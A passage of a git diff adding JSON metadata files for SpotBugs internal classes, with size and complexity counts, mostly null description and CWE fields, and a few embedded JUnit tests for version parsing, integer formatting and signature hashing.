"description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FieldAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FieldAnnotation.json new file mode 100644 index 0000000..c9307ba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FieldAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "FieldAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 414, + "branches": 30, + "apis": 67, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FieldWarningSuppressor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FieldWarningSuppressor.json new file mode 100644 index 0000000..314f5e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FieldWarningSuppressor.json @@ -0,0 +1,13 @@ +{ + "name": "FieldWarningSuppressor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 3, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FilterBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FilterBugReporter.json new file mode 100644 index 0000000..dd130ce --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FilterBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "FilterBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 5, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugs.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugs.json new file mode 100644 index 0000000..bde2c89 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugs.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugs", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 520, + "branches": 40, + "apis": 125, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugs2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugs2.json new file mode 100644 index 0000000..68bf09f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugs2.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugs2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1274, + "branches": 140, + "apis": 296, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsAnalysisFeatures.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsAnalysisFeatures.json new file mode 100644 index 0000000..e31216b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsAnalysisFeatures.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsAnalysisFeatures", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 6, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsCommandLine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsCommandLine.json new file mode 100644 index 0000000..b45558d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsCommandLine.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsCommandLine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 174, + "branches": 23, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsDisplayFeatures.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsDisplayFeatures.json new file mode 100644 index 0000000..3829191 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsDisplayFeatures.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsDisplayFeatures", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsMain.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsMain.json new file mode 100644 index 0000000..cb36fa3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsMain.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsMain", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 5, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsMessageFormat.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsMessageFormat.json new file mode 100644 index 0000000..3c1e091 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsMessageFormat.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsMessageFormat", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 17, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsProgress.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsProgress.json new file mode 100644 index 0000000..9c9ba18 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsProgress.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsProgress", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FirstPassDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FirstPassDetector.json new file mode 100644 index 0000000..5e5b431 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FirstPassDetector.json @@ -0,0 +1,13 @@ +{ + "name": "FirstPassDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 35, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Footprint.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Footprint.json new file mode 100644 index 0000000..301f59d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Footprint.json @@ -0,0 +1,13 @@ +{ + "name": "Footprint", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 217, + "branches": 22, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FuzzyBugComparator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FuzzyBugComparator.json new file mode 100644 index 0000000..d5e6eeb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FuzzyBugComparator.json @@ -0,0 +1,13 @@ +{ + "name": "FuzzyBugComparator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 348, + "branches": 38, + "apis": 38, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/GlobalOptions.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/GlobalOptions.json new file mode 100644 index 0000000..d1a5cac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/GlobalOptions.json @@ -0,0 +1,13 @@ +{ + "name": "GlobalOptions", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 11, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/HTMLBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/HTMLBugReporter.json new file mode 100644 index 0000000..88d46c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/HTMLBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "HTMLBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 8, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/I18N.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/I18N.json new file mode 100644 index 0000000..39ddcf4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/I18N.json @@ -0,0 +1,13 @@ +{ + "name": "I18N", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 170, + "branches": 23, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IClassScreener.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IClassScreener.json new file mode 100644 index 0000000..802e741 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IClassScreener.json @@ -0,0 +1,13 @@ +{ + "name": "IClassScreener", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IFindBugsEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IFindBugsEngine.json new file mode 100644 index 0000000..449c810 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IFindBugsEngine.json @@ -0,0 +1,13 @@ +{ + "name": "IFindBugsEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 301, + "branches": 16, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IGuiCallback.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IGuiCallback.json new file mode 100644 index 0000000..7f26b91 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IGuiCallback.json @@ -0,0 +1,13 @@ +{ + "name": "IGuiCallback", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 152, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScanner.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScanner.json new file mode 100644 index 0000000..404dab6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScanner.json @@ -0,0 +1,13 @@ +{ + "name": "InstructionScanner", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 45, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScannerDriver.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScannerDriver.json new file mode 100644 index 0000000..e713261 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScannerDriver.json @@ -0,0 +1,13 @@ +{ + "name": "InstructionScannerDriver", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 10, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScannerGenerator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScannerGenerator.json new file mode 100644 index 0000000..1d49569 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScannerGenerator.json @@ -0,0 +1,13 @@ +{ + "name": "InstructionScannerGenerator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 5, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IntAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IntAnnotation.json new file mode 100644 index 0000000..c457a5b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IntAnnotation.json @@ -0,0 +1,23 @@ +{ + "name": "IntAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 210, + "branches": 12, + "apis": 24, + "test": [ + { + "description": "testIntAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 31, + 44 + ], + "code": "@Test\n void testIntAnnotation() {\n assertEquals(\"0xffff\", IntAnnotation.getShortInteger(0xffff));\n assertEquals(\"0x1ffff\", IntAnnotation.getShortInteger(0x1ffff));\n assertEquals(\"0x1fffffff\", IntAnnotation.getShortInteger(0x1fffffff));\n assertEquals(\"0x7fffffff\", IntAnnotation.getShortInteger(0x7fffffff));\n assertEquals(\"15\", IntAnnotation.getShortInteger(15));\n assertEquals(\"255\", IntAnnotation.getShortInteger(255));\n assertEquals(\"-1\", IntAnnotation.getShortInteger(-1));\n assertEquals(\"-2\", IntAnnotation.getShortInteger(-2));\n assertEquals(\"0xffffffff\", IntAnnotation.getShortInteger(0xffffffffL));\n assertEquals(\"0x1ffffffff\", IntAnnotation.getShortInteger(0x1ffffffffL));\n assertEquals(\"0xfffffffff\", IntAnnotation.getShortInteger(0xfffffffffL));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InterproceduralFirstPassDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InterproceduralFirstPassDetector.json new file mode 100644 index 0000000..4a27a37 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InterproceduralFirstPassDetector.json @@ -0,0 +1,13 @@ +{ + "name": "InterproceduralFirstPassDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/JavaVersion.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/JavaVersion.json new file mode 100644 index 0000000..3ed88b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/JavaVersion.json @@ -0,0 +1,23 @@ +{ + "name": "JavaVersion", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 153, + "branches": 13, + "apis": 17, + "test": [ + { + "description": "testJavaVersionString", + "expected-problems": null, + "expected-linenumbers": [ + 40, + 58 + ], + "code": "@Test\n void testJavaVersionString() throws JavaVersionException {\n // Historical versions (up to Java 8)\n testJavaVersionString(\"1.7\", 1, 7, \"\");\n testJavaVersionString(\"1.7.0\", 1, 7, \"0\");\n testJavaVersionString(\"1.7.0_80\", 1, 7, \"0_80\");\n testJavaVersionString(\"1.8.0_66\", 1, 8, \"0_66\");\n // New scheme for Java 9 and later (JEP 223)\n // See http://openjdk.java.net/jeps/223\n testJavaVersionString(\"9-ea\", 9, 0, \"-ea\");\n testJavaVersionString(\"9\", 9, 0, \"\");\n testJavaVersionString(\"9.1.2\", 9, 1, \"2\");\n testJavaVersionString(\"9.0.1\", 9, 0, \"1\");\n // Long versions\n testJavaVersionString(\"1.7.0_65-b20\", 1, 7, \"0_65-b20\");\n testJavaVersionString(\"7.6.15+20\", 7, 6, \"15+20\");\n testJavaVersionString(\"1.9.0-ea-b19\", 1, 9, \"0-ea-b19\");\n testJavaVersionString(\"9-ea+19\", 9, 0, \"-ea+19\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/JavaVersionException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/JavaVersionException.json new file mode 100644 index 0000000..2247883 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/JavaVersionException.json @@ -0,0 +1,13 @@ +{ + "name": "JavaVersionException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/L10N.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/L10N.json new file mode 100644 index 0000000..f524fcd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/L10N.json @@ -0,0 +1,13 @@ +{ + "name": "L10N", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 12, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/LaunchAppropriateUI.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/LaunchAppropriateUI.json new file mode 100644 index 0000000..981a69b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/LaunchAppropriateUI.json @@ -0,0 +1,13 @@ +{ + "name": "LaunchAppropriateUI", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 196, + "branches": 29, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/LocalVariableAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/LocalVariableAnnotation.json new file mode 100644 index 0000000..1ba34b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/LocalVariableAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "LocalVariableAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 423, + "branches": 36, + "apis": 68, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Lookup.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Lookup.json new file mode 100644 index 0000000..f1c0d69 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Lookup.json @@ -0,0 +1,13 @@ +{ + "name": "Lookup", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 194, + "branches": 25, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/MethodAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/MethodAnnotation.json new file mode 100644 index 0000000..2100d62 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/MethodAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "MethodAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 551, + "branches": 48, + "apis": 93, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/MethodWarningSuppressor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/MethodWarningSuppressor.json new file mode 100644 index 0000000..81ac261 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/MethodWarningSuppressor.json @@ -0,0 +1,13 @@ +{ + "name": "MethodWarningSuppressor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 3, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NewResults.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NewResults.json new file mode 100644 index 0000000..30aab85 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NewResults.json @@ -0,0 +1,13 @@ +{ + "name": "NewResults", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 5, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NoClassesFoundToAnalyzeException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NoClassesFoundToAnalyzeException.json new file mode 100644 index 0000000..da56ba8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NoClassesFoundToAnalyzeException.json @@ -0,0 +1,13 @@ +{ + "name": "NoClassesFoundToAnalyzeException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NoOpFindBugsProgress.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NoOpFindBugsProgress.json new file mode 100644 index 0000000..665f2b8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NoOpFindBugsProgress.json @@ -0,0 +1,13 @@ +{ + "name": "NoOpFindBugsProgress", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NonReportingDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NonReportingDetector.json new file mode 100644 index 0000000..43b9015 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NonReportingDetector.json @@ -0,0 +1,13 @@ +{ + "name": "NonReportingDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 28, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NonReportingDetectorToDetector2Adapter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NonReportingDetectorToDetector2Adapter.json new file mode 100644 index 0000000..9e9c8f3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NonReportingDetectorToDetector2Adapter.json @@ -0,0 +1,13 @@ +{ + "name": "NonReportingDetectorToDetector2Adapter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Obfuscate.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Obfuscate.json new file mode 100644 index 0000000..5019e5e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Obfuscate.json @@ -0,0 +1,32 @@ +{ + "name": "Obfuscate", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 252, + "branches": 25, + "apis": 61, + "test": [ + { + "description": "testMethodSignature", + "expected-problems": null, + "expected-linenumbers": [ + 31, + 37 + ], + "code": "@Test\n void testMethodSignature() {\n String sig = \"([Lcom.google.Search;I)Lcom.google.Money;\";\n String result = Obfuscate.hashMethodSignature(sig);\n assertEquals(-1, result.indexOf(\"google\"), \"hash of \" + sig + \" gives \" + result);\n System.out.println(result);\n }" + }, + { + "description": "testMethodSignatureDoesntChangeForCoreTypes", + "expected-problems": null, + "expected-linenumbers": [ + 39, + 44 + ], + "code": "@Test\n void testMethodSignatureDoesntChangeForCoreTypes() {\n String sig = \"([Ljava/lang/String;I)Ljava/util/Map;\";\n String result = Obfuscate.hashMethodSignature(sig);\n assertEquals(sig, result);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/OpcodeStack.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/OpcodeStack.json new file mode 100644 index 0000000..a3f2020 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/OpcodeStack.json @@ -0,0 +1,13 @@ +{ + "name": "OpcodeStack", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3835, + "branches": 727, + "apis": 832, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageMemberAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageMemberAnnotation.json new file mode 100644 index 0000000..c0b2311 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageMemberAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "PackageMemberAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 250, + "branches": 20, + "apis": 32, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageStats.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageStats.json new file mode 100644 index 0000000..4800680 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageStats.json @@ -0,0 +1,13 @@ +{ + "name": "PackageStats", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 354, + "branches": 23, + "apis": 45, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageWarningSuppressor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageWarningSuppressor.json new file mode 100644 index 0000000..aefb295 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageWarningSuppressor.json @@ -0,0 +1,13 @@ +{ + "name": "PackageWarningSuppressor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 2, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ParameterWarningSuppressor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ParameterWarningSuppressor.json new file mode 100644 index 0000000..2e44278 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ParameterWarningSuppressor.json @@ -0,0 +1,13 @@ +{ + "name": "ParameterWarningSuppressor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 4, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Plugin.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Plugin.json new file mode 100644 index 0000000..3919d78 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Plugin.json @@ -0,0 +1,13 @@ +{ + "name": "Plugin", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 708, + "branches": 43, + "apis": 72, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginDoesntContainMetadataException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginDoesntContainMetadataException.json new file mode 100644 index 0000000..c1f2633 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginDoesntContainMetadataException.json @@ -0,0 +1,13 @@ +{ + "name": "PluginDoesntContainMetadataException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginException.json b/Raw 